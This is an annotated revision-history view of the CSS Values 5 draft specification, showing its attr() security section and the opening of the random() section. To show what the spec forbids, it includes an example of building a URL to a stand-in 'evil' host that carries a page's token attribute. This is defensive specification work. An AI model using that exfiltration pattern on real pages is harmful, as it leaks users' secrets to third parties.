title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1725" id="l1725"> 1725</a> </td> <td class="source">Security</h4> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1118" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1726" id="l1726"> 1726</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1119" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1727" id="l1727"> 1727</a> </td> <td class="source"> An ''attr()'' function can reference attributes </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1120" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1728" id="l1728"> 1728</a> </td> <td class="source"> that were never intended by the page to be used for styling, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1121" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1729" id="l1729"> 1729</a> </td> <td class="source"> and might contain sensitive information </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1122" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1730" id="l1730"> 1730</a> </td> <td class="source"> (for example, a security token used by scripts on the page). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1123" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1731" id="l1731"> 1731</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1124" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1732" id="l1732"> 1732</a> </td> <td class="source"> In general, this is fine. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1125" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1733" id="l1733"> 1733</a> </td> <td class="source"> It is difficult to use ''attr()'' to extract information from a page </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1126" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1734" id="l1734"> 1734</a> </td> <td class="source"> and send it to a hostile party, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1127" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1735" id="l1735"> 1735</a> </td> <td class="source"> in most circumstances. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1128" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1736" id="l1736"> 1736</a> </td> <td class="source"> The exception to this is URLs. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1129" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1737" id="l1737"> 1737</a> </td> <td class="source"> If a URL can be constructed with the value of an arbitrary attribute, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1130" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1738" id="l1738"> 1738</a> </td> <td class="source"> purely from CSS, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1131" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1739" id="l1739"> 1739</a> </td> <td class="source"> it can easily send any information stored in attributes </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1132" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1740" id="l1740"> 1740</a> </td> <td class="source"> to a hostile party, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1133" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1741" id="l1741"> 1741</a> </td> <td class="source"> if 3rd-party CSS is allowed at all. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1134" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1742" id="l1742"> 1742</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/da5d29cd0eb0/css-values-5/Overview.bs#l1559" title="da5d29cd0eb0: [css-values-5] Fix attr() security to be clearer about invalidation time, and reduce the tainting scope to individual values.">jackalmage@31721</a> </td> <td class="lineno"> <a href="#l1743" id="l1743"> 1743</a> </td> <td class="source"> To guard against this, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/da5d29cd0eb0/css-values-5/Overview.bs#l1560" title="da5d29cd0eb0: [css-values-5] Fix attr() security to be clearer about invalidation time, and reduce the tainting scope to individual values.">jackalmage@31721</a> </td> <td class="lineno"> <a href="#l1744" id="l1744"> 1744</a> </td> <td class="source"> the values produced by an ''attr()'' are considered <dfn export lt="attr()-taint">attr()-tainted</dfn>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/da5d29cd0eb0/css-values-5/Overview.bs#l1561" title="da5d29cd0eb0: [css-values-5] Fix attr() security to be clearer about invalidation time, and reduce the tainting scope to individual values.">jackalmage@31721</a> </td> <td class="lineno"> <a href="#l1745" id="l1745"> 1745</a> </td> <td class="source"> as are functions that contain an [=attr()-tainted=] value. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1746" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1746" id="l1746"> 1746</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1747" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1747" id="l1747"> 1747</a> </td> <td class="source"> The substitution value of an [=arbitrary substitution function=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1748" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1748" id="l1748"> 1748</a> </td> <td class="source"> is [=attr()-tainted=] <em>as a whole</em> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1749" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1749" id="l1749"> 1749</a> </td> <td class="source"> if any [=attr()-tainted=] values were involved </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1750" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1750" id="l1750"> 1750</a> </td> <td class="source"> in creating that substitution value. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1751" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1751" id="l1751"> 1751</a> </td> <td class="source"> <span class=note>This extends to the [=equivalent token sequence=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1752" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1752" id="l1752"> 1752</a> </td> <td class="source"> when substituting values of [=registered custom properties=].</span> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/da5d29cd0eb0/css-values-5/Overview.bs#l1565" title="da5d29cd0eb0: [css-values-5] Fix attr() security to be clearer about invalidation time, and reduce the tainting scope to individual values.">jackalmage@31721</a> </td> <td class="lineno"> <a href="#l1753" id="l1753"> 1753</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/da5d29cd0eb0/css-values-5/Overview.bs#l1566" title="da5d29cd0eb0: [css-values-5] Fix attr() security to be clearer about invalidation time, and reduce the tainting scope to individual values.">jackalmage@31721</a> </td> <td class="lineno"> <a href="#l1754" id="l1754"> 1754</a> </td> <td class="source"> Using an [=attr()-tainted=] value as or in a <<url>> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/da5d29cd0eb0/css-values-5/Overview.bs#l1567" title="da5d29cd0eb0: [css-values-5] Fix attr() security to be clearer about invalidation time, and reduce the tainting scope to individual values.">jackalmage@31721</a> </td> <td class="lineno"> <a href="#l1755" id="l1755"> 1755</a> </td> <td class="source"> makes a declaration [=invalid at computed-value time=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1141" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1756" id="l1756"> 1756</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1142" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1757" id="l1757"> 1757</a> </td> <td class="source"> <div class=example> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1143" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1758" id="l1758"> 1758</a> </td> <td class="source"> For example, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1759" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1759" id="l1759"> 1759</a> </td> <td class="source"> all of the following are [=invalid at computed-value time=]: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1145" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1760" id="l1760"> 1760</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1146" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1761" id="l1761"> 1761</a> </td> <td class="source"> * ''background-image: src(attr(foo));'' - can't use it directly. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1147" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1762" id="l1762"> 1762</a> </td> <td class="source"> * ''background-image: image(attr(foo))'' - can't use it in other <<url>>-taking functions. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1148" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1763" id="l1763"> 1763</a> </td> <td class="source"> * ''background-image: src(string("http://example.com/evil?token=" attr(foo)))'' - can't "launder" it thru another function. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1149" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1764" id="l1764"> 1764</a> </td> <td class="source"> * ''--foo: attr(foo); background-image(src(var(--foo)))'' (assuming that ''--foo'' is a [=registered custom property=] with string syntax) - can't launder the value thru another property, either. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/da5d29cd0eb0/css-values-5/Overview.bs#l1577" title="da5d29cd0eb0: [css-values-5] Fix attr() security to be clearer about invalidation time, and reduce the tainting scope to individual values.">jackalmage@31721</a> </td> <td class="lineno"> <a href="#l1765" id="l1765"> 1765</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/da5d29cd0eb0/css-values-5/Overview.bs#l1578" title="da5d29cd0eb0: [css-values-5] Fix attr() security to be clearer about invalidation time, and reduce the tainting scope to individual values.">jackalmage@31721</a> </td> <td class="lineno"> <a href="#l1766" id="l1766"> 1766</a> </td> <td class="source"> However, using ''attr()'' for other purposes is fine, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/da5d29cd0eb0/css-values-5/Overview.bs#l1579" title="da5d29cd0eb0: [css-values-5] Fix attr() security to be clearer about invalidation time, and reduce the tainting scope to individual values.">jackalmage@31721</a> </td> <td class="lineno"> <a href="#l1767" id="l1767"> 1767</a> </td> <td class="source"> even if the usage is <em>near</em> a url: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/da5d29cd0eb0/css-values-5/Overview.bs#l1580" title="da5d29cd0eb0: [css-values-5] Fix attr() security to be clearer about invalidation time, and reduce the tainting scope to individual values.">jackalmage@31721</a> </td> <td class="lineno"> <a href="#l1768" id="l1768"> 1768</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1765" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1769" id="l1769"> 1769</a> </td> <td class="source"> * ''background-image: image("foo.jpg", attr(bgcolor type(&lt;color>)))'' is fine; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/da5d29cd0eb0/css-values-5/Overview.bs#l1582" title="da5d29cd0eb0: [css-values-5] Fix attr() security to be clearer about invalidation time, and reduce the tainting scope to individual values.">jackalmage@31721</a> </td> <td class="lineno"> <a href="#l1770" id="l1770"> 1770</a> </td> <td class="source"> the ''attr()'' is providing a fallback color, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/da5d29cd0eb0/css-values-5/Overview.bs#l1583" title="da5d29cd0eb0: [css-values-5] Fix attr() security to be clearer about invalidation time, and reduce the tainting scope to individual values.">jackalmage@31721</a> </td> <td class="lineno"> <a href="#l1771" id="l1771"> 1771</a> </td> <td class="source"> and the <<url>> isn't [=attr()-tainted=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1772" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1772" id="l1772"> 1772</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1773" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1773" id="l1773"> 1773</a> </td> <td class="source"> Using ''attr()'' indirectly via a [=custom property=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1774" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1774" id="l1774"> 1774</a> </td> <td class="source"> causes [=attr()-tainting=] of the whole custom property value: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1775" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1775" id="l1775"> 1775</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1776" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1776" id="l1776"> 1776</a> </td> <td class="source"> * ''--foo: image("foo.jpg", attr(bgcolor type(&lt;color&gt;))); background-image: var(--foo);'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1777" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1777" id="l1777"> 1777</a> </td> <td class="source"> is [=invalid at computed-value time=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1778" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1778" id="l1778"> 1778</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1779" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1779" id="l1779"> 1779</a> </td> <td class="source"> Issue: Investigate partial tainting of custom property values. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1150" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1780" id="l1780"> 1780</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1151" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1781" id="l1781"> 1781</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1152" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1782" id="l1782"> 1782</a> </td> <td class="source"> Note: Implementing this restriction </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1153" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1783" id="l1783"> 1783</a> </td> <td class="source"> requires tracking a dirty bit </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1154" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1784" id="l1784"> 1784</a> </td> <td class="source"> on values constructed from ''attr()'' values, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1155" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1785" id="l1785"> 1785</a> </td> <td class="source"> since they can be fully resolved into a string </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1156" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1786" id="l1786"> 1786</a> </td> <td class="source"> via [=registered custom properties=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1157" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1787" id="l1787"> 1787</a> </td> <td class="source"> so you can't rely on just examining the value expression. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1158" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1788" id="l1788"> 1788</a> </td> <td class="source"> Note that non-string types can even trigger this, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1159" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1789" id="l1789"> 1789</a> </td> <td class="source"> via functions like <css>string()</css> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1160" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1790" id="l1790"> 1790</a> </td> <td class="source"> that can stringify other types of values: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/929747cc36de/css-values-5/Overview.bs#l1791" title="929747cc36de: [css-values] Total attr()-tainting for substitution values (#11218)">andruud@31828</a> </td> <td class="lineno"> <a href="#l1791" id="l1791"> 1791</a> </td> <td class="source"> ''--foo: attr(foo type(&lt;number&gt;)); background-image: src(string(var(--foo)))'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1162" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1792" id="l1792"> 1792</a> </td> <td class="source"> needs to be invalid as well. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1163" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1793" id="l1793"> 1793</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l985" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l1794" id="l1794"> 1794</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l495" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1804" id="l1804"> 1804</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l496" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1805" id="l1805"> 1805</a> </td> <td class="source"><h2 id=randomness> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l497" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1806" id="l1806"> 1806</a> </td> <td class="source">Generating Random Values</h2> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l498" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1807" id="l1807"> 1807</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l499" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1808" id="l1808"> 1808</a> </td> <td class="source"> It is often useful to incorporate some degree of "randomness" to a design, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l500" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1809" id="l1809"> 1809</a> </td> <td class="source"> either to make repeated elements on a page feel less static and identical, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l501" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1810" id="l1810"> 1810</a> </td> <td class="source"> or just to add a bit of "flair" to a page without being distracting. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l502" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1811" id="l1811"> 1811</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l503" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1812" id="l1812"> 1812</a> </td> <td class="source"> The ''random()'' and ''random-item()'' functions </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l504" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1813" id="l1813"> 1813</a> </td> <td class="source"> (the <dfn export for=CSS>random functions</dfn>) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l505" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1814" id="l1814"> 1814</a> </td> <td class="source"> allow authors to incorporate randomness into their page, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l506" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1815" id="l1815"> 1815</a> </td> <td class="source"> while keeping this randomness predictable from a design perspective, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l507" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1816" id="l1816"> 1816</a> </td> <td class="source"> letting authors decide whether a random value should be reused in several places </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l508" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1817" id="l1817"> 1817</a> </td> <td class="source"> or be unique between instances. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l509" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1818" id="l1818"> 1818</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l510" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td 